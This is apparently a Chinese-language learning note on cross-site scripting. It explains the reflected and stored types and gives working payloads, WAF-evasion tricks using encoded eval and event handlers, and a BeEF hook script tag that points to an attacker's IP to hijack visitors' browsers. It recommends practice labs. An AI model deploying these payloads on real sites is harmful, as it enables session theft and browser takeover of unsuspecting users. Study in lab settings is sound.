XSS跨站脚本攻击漏洞:从理论到实战
在网络安全渗透测试中XSS跨站脚本攻击是非常经典的高危漏洞也是Web安全入门必须掌握的核心漏洞之一。它不像SQL注入那样直接和数据库打交道而是直接在用户浏览器中执行恶意脚本能直接控制用户的会话窃取数据甚至直接接管浏览器是红队攻击中非常常见的手段。今天就结合我的理解和大家梳理沟通XSS漏洞的原理分类和实战利用方法。一.XSS漏洞是什么跨站脚本攻击XSS核心原理就是恶意攻击者往Web页面里插入恶意的Script代码当用户浏览页面时嵌入Web里面的Script代码会被执行从而达到恶意攻击用户的目的。简单来说就是网站没有对用户输入的内容做严格的过滤和转义导致用户输入的恶意脚本被浏览器当做正常代码执行了。就行你在一个论坛评论区写了一句scriptalert(你被攻击了)/script,如果网站没做过滤所有打开这条评论的用户浏览器都会弹出这个窗口这就是最基础的xss攻击。二.XSS漏洞的两大核心类型根据恶意脚本的存储方式和触发机制XSS主要分为反射型和存储型只在用户发起请求时临时“反射”回页面触发一次就失效了。1.反射型XSS也叫非持久型XSS它的特点是恶意脚本不会被服务器存储只在用户发起请求时临时“反射”回页面触发一次就失效了。触发场景URL参数搜索框错误提示页面这类一次性展示用户输入的地方比如搜索关键词URL参数里的内容直接在前端页面上显示。攻击流程攻击者构造恶意脚本的URL,诱导受害者点击服务器把脚本内容“反射”回页面受害者的浏览器执行脚本完成攻击。典型列子网站的搜索功能搜索词会显示在页面上比如http://example.com/search?q用户输入如果输入scriptalert(XSS)/script,页面没有过滤就会直接弹出窗口。2.存储型XSS持久型XSS存储型XSS也叫持久型XSS它的特点是恶意脚本会被永久存储在目标服务器的数据库里只要有用户访问了包含这段脚本的页面就会触发攻击危害比反射型大得多。触发场景评论区、留言板、用户资料、论坛帖子这类会把用户输入保存到数据库再展示给其他用户的地方。攻击流程攻击者在输入框提交恶意脚本服务器没有过滤直接把脚本存到数据库里之后只要任何用户访问这个页面浏览器都会从数据库取出脚本并执行相当于“永久投毒”。典型例子论坛评论区提交scriptalert(入侵你的系统)/script网站没有过滤所有打开这条评论的用户都会被触发脚本甚至可以用BeEF工具直接控制受害者的浏览器。三、XSS漏洞的基础利用与实战1. 基础弹窗测试最基础的测试就是用 alert(1) 函数验证漏洞是否存在这也是我们学习XSS的第一步不同场景下的测试语句也不一样验证漏洞存在基础脚本标签scriptalert(已入侵你的系统)/script如果页面直接弹出窗口说明没有过滤script标签。结合HTML标签的测试h1 stylefont-size:70vw;你被入侵了/h1测试HTML标签是否被过滤也可以配合事件触发脚本比如h1 onclickalert(1)点击我/h1。简单绕过过滤如果网站过滤了 script 标签可以尝试大小写绕过SCRIPTalert(1)/SCRIPT或者双写绕过scrscriptiptalert(1)/scr/scriptipt也可以用其他标签比如 img srcx onerroralert(1)、audio srcx onerroralert(1)这类事件触发的语句。2. 进阶利用BEEF-XSS控制浏览器验证XSS漏洞存在后就可以用BEEF工具来实现对浏览器的控制这也是存储型XSS最有价值的利用方式。核心原理通过XSS漏洞把受害者的浏览器hook到我们的BeEF服务器上就能获取用户的Cookie、会话信息甚至执行任意代码、重定向页面、记录键盘输入。基础hook语句script srchttp://你的IP:3000/hook.js/script只要受害者的浏览器执行了这段脚本BeEF里就会上线这个主机后续可以直接在BeEF面板里下发恶意指令。- 实战场景在存储型XSS漏洞的评论区提交这段hook代码之后所有访问该页面的用户都会自动被BEEF控制相当于一个“永久后门”。四、WAF绕过突破网站的防护机制很多网站都会用WAFWeb应用防火墙来拦截XSS攻击这时候就需要一些绕过技巧让恶意脚本不被WAF识别。1.标签/事件绕过不用常见的 script 标签改用img 、、 video 、 button等标签配合事件触发比如audio srcx onerrorprompt(1); 、 a href 点击这里/a 。2.编码绕过把脚本内容用HTML实体编码、Unicode编码、JSFuck等方式变形让WAF无法识别恶意内容比如用String.fromCharCode()把字符转成ASCII码执行details open ontoggleeval(String.fromCharCode(97,108,101,114,116,40,49,41)) 。3.注释/分隔符绕过在脚本里插入注释、换行符、空白字符打乱WAF的正则匹配规则比如scri!--test--ptalert(1)/script 。五、学习与靶场推荐学习XSS漏洞光看理论是不够的一定要结合靶场实战下面是我平时使用的靶场可以适当的参考1. pikachu靶场有专门的XSS模块包含反射型、存储型、DOM型多种场景适合新手一步步测试和验证漏洞。2. DVWA靶场经典的Web安全靶场有不同安全等级的XSS关卡可以练习不同过滤场景下的绕过技巧。3. BEEF实战环境自己搭建BeEF服务器结合靶场的存储型XSS练习浏览器hook和后续的控制操作感受真实的攻击流程。以上就是我整理的XSS漏洞学习笔记从基础原理到简单利用再到WAF绕过和实战工具一步步从新手视角拆解了XSS漏洞的核心知识。XSS的利用方式非常灵活需要多练多试后续也会继续更新DOM型XSS和更多进阶绕过技巧的内容。